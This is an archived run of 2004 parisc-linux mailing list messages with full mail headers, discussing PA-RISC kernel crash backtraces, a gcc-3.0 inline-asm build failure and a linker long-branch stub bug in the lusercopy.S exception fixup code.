Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22019

On Sun, Sep 19, 2004 at 10:45:07PM -0400, Carlos O'Donell wrote:
> pa,
> 
> My kernels are being less than stable...
> This is recent. Something has recently changed?
> Any thoughts?

2.6.8.1-pa7 continues to be very stable.
Something is clobbering the free list maybe?

> firin login: Backtrace:
>  [<0000000010184e38>] kmem_cache_alloc+0x68/0x70
>  [<00000000101b6664>] alloc_buffer_head+0x2c/0x90
>  [<000000001022a980>] journal_write_metadata_buffer+0x88/0x8a8
>  [<00000000102242f4>] journal_commit_transaction+0x7fc/0x2778
>  [<000000001022a460>] kjournald+0x150/0x370
>  [<000000001010647c>] ret_from_kernel_thread+0x24/0x38

Ditto. I just crashed my c3k again with 2.6.9-rc2-pa6.
I would like to verify if -pa4 was more stable.

I was trying to update the pa8800 chroot env on that box.
data page fault occurred while dselect was downloading
packages. Last tty output was:
...
Get:103 http://mirrors.kernel.org testing/main build-essential 10.1 [6534B]    
Get:104 http://mirrors.kernel.org testing/main cvs 1:1.12.9-4 [1474kB]         
44% [104 cvs 406303/1474kB 27%]                                   387kB/s 3m31s

(out of 327 packages to be upgraded)

Stack trace is similar in that it starts with:
	kmem_cache_alloc+0x48
	alloc_buffer_head_0x1c
	create_buffers+0x44
	create_empty_buffers+0x1c
	__block_prepare_write+0x440
	block_prepare_write+0x2c
	ext3_prepare_write+0x80
	generic_file_buffered_write+0x1cc
	generic_file_aio_write_nolock+0x264
	generic_file_aio_write+0x88
	ext3_file_write+0x34
	do_sync_write+0xb4
	vfs_write+0xd8
	sys_write+0x58
	syscall_exit+0x0

> Bad Address (null pointer deref?): Code=15 regs=000000006d2ec8f0 (Addr=4000000066354008)

Kernel Fault: Code=15 regs=46b3c8c0 (Addr=b5feec50)

>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001001111111100001110 Not tainted

same

> r00-03  0000000000000000 0000000010597100 00000000123d8ce8 000000000000000b
> r04-07  0000000000000001 00000000123da000 00000000123d8bc0 00000000123d8cc8
> r08-11  00000000123db000 00000000123d8d28 0000000000000850 000000006f702a40
> r12-15  000000006d2ec508 0000000000330226 0000000000000000 0000000000000000
> r16-19  0000000000000000 000000006ddfd06c 0000000000000f94 00000000123d8cc8
> r20-23  7364650066354000 000000000000002c 0000000000000031 000000006637e000
> r24-27  000000000000000a 000000006637e028 00000000123da010 0000000010516e80
> r28-31  0000000000200200 0000000000100100 000000006d2ec8f0 00000000123d8cd8
> sr0-3   0000000004c47000 0000000000000000 0000000000000000 0000000004c47000
> sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

r00-03  00000000 104f3010 10feec5c 10ff5000
r04-07  10feec4c 10feec40 00000001 00000050
...
r20-23  b5feec4c 0000004e 0000004d 3fedd000
r24-27  3fedd018 0000002a 10ff5010 103c2010
...

> IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010184934 0000000010184938
>  IIR: 0e9312d0    ISR: 0000000033646500  IOR: 4000000066354008
>  CPU:        0   CR30: 000000006d2ec000 CR31: 00000000104e0000
>  ORIG_R28: 000000005b4c1ab8
>  IAOQ[0]: cache_alloc_refill+0x164/0x330
>  IAOQ[1]: cache_alloc_refill+0x168/0x330

Yes - identical IOAQ.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.9-rc2-pa5 build failures
Date: Sun, 19 Sep 2004 23:55:16 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20040920065516.GD22642@tausq.org>
References: <20040919104202.GB22642@tausq.org>
	<200409192000.i8JK01wr025911@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623566 11146 80.91.229.3 (22 Nov 2014 02:32:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12430 invoked by uid 65534); 20 Sep 2004 06:56:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 20 Sep 2004 08:56:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 977BB3BDDB; Mon, 20 Sep 2004 00:55:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07609-05; Mon, 20 Sep 2004 00:55:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 812693BE21; Mon, 20 Sep 2004 00:55:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11DCC3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Sep 2004 00:55:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07609-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Sep 2004 00:55:16 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id A22BE3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Sep 2004 00:55:15 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 2E40ACD29F; Sun, 19 Sep 2004 23:55:16 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200409192000.i8JK01wr025911@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22020

In reference to a message from John David Anglin, dated Sep 19:
> > > I thought it was just my config that failed to build -pa5
> > > until I looked at:
> > > 	http://cvs.parisc-linux.org/download/linux-2.6/
> > 
> > sigh, it's a problem with gcc-3.0....
> 
> Does the problem affect currently active branches?

no, i don't think so.

the problem is that gcc doesn't seem to like an asm() output specifier
that contains multiple quoted strings... so this doesn't work:

asm("" : "=" "r"(x))

but this does:
asm("" : "=r"(x))

with gcc-3.3, both forms are ok.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 10:22:45 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <20040921172245.GS22642@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623567 11148 80.91.229.3 (22 Nov 2014 02:32:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17943 invoked by uid 65534); 21 Sep 2004 17:23:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 21 Sep 2004 19:23:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 975193BDF2; Tue, 21 Sep 2004 11:23:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26315-06; Tue, 21 Sep 2004 11:23:14 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B5E7C3BDF8; Tue, 21 Sep 2004 11:22:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A9E93BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 11:22:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26315-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 11:22:45 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 27A213BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 11:22:45 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1A502CD2D3; Tue, 21 Sep 2004 10:22:45 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22021

willy found a problem this morning with the exception code which was
traced down to the following:

the following code comes from lusercopy.S (with macros expanded):

lstrncpy_from_user:
        .proc
        .callinfo NO_CALLS
        .entry
        comib,=     0,%r24,$lsfu_done
        copy        %r24,%r23
        get_sr
1:      ldbs,ma     1(%sr1,%r25),%r1
$lsfu_loop:
        stbs,ma     %r1,1(%r26)
        comib,=,n   0,%r1,$lsfu_done
        addib,<>,n  -1,%r24,$lsfu_loop
2:      ldbs,ma     1(%sr1,%r25),%r1
$lsfu_done:
        sub         %r23,%r24,%r28
$lsfu_exit:
        bv          %r0(%r2)
        nop
        .exit

        .section .fixup,"ax"
3:      b $lsfu_exit
        ldi         -EFAULT,%r28
        .previous

        .section __ex_table,"aw"
        .word       1b,3b
        .word       2b,3b
        .previous

        .procend

what is supposed to happen is that when a fault happens at "1:", we
would branch to "3:". The code in "3:" sets the return value to -EFAULT
and branches back to the exit path.

what we observed was that when a fault happens, we get an endless loop
of faults.

when i disassembled the code at 3:, i see:

1038ce68:       e8 05 00 7d     b,l 10357eac <tcpdiag_dump+0x5ac>,r0
1038ce6c:       34 1c 3f e5     ldi -e,ret0

the target of the branch is a long branch stub:

10357eac:       20 20 02 02     ldil 10100000,r1
10357eb0:       e0 20 22 b2     be,n 158(sr4,r1)

but 10100158 is lstrncpy_from_user, not $lsfu_exit:
10100158 <lstrncpy_from_user>
10100190 <$lsfu_exit>

i wonder if the sections are somehow confusing things.... this is with
fairly recent gcc/binutils toolchains, for 32-bit.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 13:43:54 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20040921174353.GB13248@baldric.uwo.ca>
References: <20040921172245.GS22642@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623567 11154 80.91.229.3 (22 Nov 2014 02:32:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8491 invoked by uid 65534); 21 Sep 2004 17:44:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 21 Sep 2004 19:44:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CEF433BDCA; Tue, 21 Sep 2004 11:44:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26726-01; Tue, 21 Sep 2004 11:44:21 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4390F3BDFF; Tue, 21 Sep 2004 11:44:07 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA5783BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 11:43:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26499-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 11:43:58 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 7D5B93BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 11:43:58 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C9ogE-0003WR-00; Tue, 21 Sep 2004 13:43:54 -0400
Content-Disposition: inline
In-Reply-To: <20040921172245.GS22642@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22022

On Tue, Sep 21, 2004 at 10:22:45AM -0700, Randolph Chung wrote:
> but 10100158 is lstrncpy_from_user, not $lsfu_exit:
> 10100158 <lstrncpy_from_user>
> 10100190 <$lsfu_exit>
> 
> i wonder if the sections are somehow confusing things.... this is with
> fairly recent gcc/binutils toolchains, for 32-bit.

Multiple entry points to a function may not work if an import stub is
required? The import stubs are thrown into a hash, and it probably
thinks it's okay for you to use the same import stub. You on the other
want a second entry point.

I recommend you give the exit it's own symbol, .export and .import the
linker thinks it's two different functions?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 13:46:37 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20040921174636.GC13248@baldric.uwo.ca>
References: <20040921172245.GS22642@tausq.org>
	<20040921174353.GB13248@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623567 11156 80.91.229.3 (22 Nov 2014 02:32:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16234 invoked by uid 65534); 21 Sep 2004 17:47:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 21 Sep 2004 19:47:00 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0F2ED3BE2B; Tue, 21 Sep 2004 11:46:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26756-04; Tue, 21 Sep 2004 11:46:52 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 42C8E3BE25; Tue, 21 Sep 2004 11:46:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB4743BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 11:46:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26726-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 11:46:40 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 88EA53BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 11:46:40 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C9oir-0003X4-00; Tue, 21 Sep 2004 13:46:37 -0400
Content-Disposition: inline
In-Reply-To: <20040921174353.GB13248@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22023

On Tue, Sep 21, 2004 at 01:43:54PM -0400, Carlos O'Donell wrote:
> On Tue, Sep 21, 2004 at 10:22:45AM -0700, Randolph Chung wrote:
> > but 10100158 is lstrncpy_from_user, not $lsfu_exit:
> > 10100158 <lstrncpy_from_user>
> > 10100190 <$lsfu_exit>
> > 
> > i wonder if the sections are somehow confusing things.... this is with
> > fairly recent gcc/binutils toolchains, for 32-bit.
> 
> Multiple entry points to a function may not work if an import stub is
> required? The import stubs are thrown into a hash, and it probably
> thinks it's okay for you to use the same import stub. You on the other
> want a second entry point.
> 
> I recommend you give the exit it's own symbol, .export and .import the
> linker thinks it's two different functions?

Wow. I need to stop and re-read my emails.

a. Multiple entry points to a function, and import stubs probably don't
   mix well.

b. Define a symbol for lsfu_exit, .export it, then .import it later
   and branch to that symbol. We want the linker to think it's two
   different functions.

I think that is clearer? :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 14:51:29 -0400 (EDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <200409211851.i8LIpT1Z009455@hiauly1.hia.nrc.ca>
References: <20040921174353.GB13248@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623568 11157 80.91.229.3 (22 Nov 2014 02:32:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18933 invoked by uid 65534); 21 Sep 2004 18:52:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 21 Sep 2004 20:52:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 386923BE25; Tue, 21 Sep 2004 12:52:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27366-04; Tue, 21 Sep 2004 12:52:02 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 933EC3BE23; Tue, 21 Sep 2004 12:51:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D5EB3BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 12:51:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27366-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 12:51:35 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 598303BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 12:51:35 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8LIpTcP009457; Tue, 21 Sep 2004 14:51:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8LIpT1Z009455;
	Tue, 21 Sep 2004 14:51:29 -0400 (EDT)
In-Reply-To: <20040921174353.GB13248@baldric.uwo.ca> from "Carlos O'Donell" at
	Sep 21, 2004 01:43:54 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
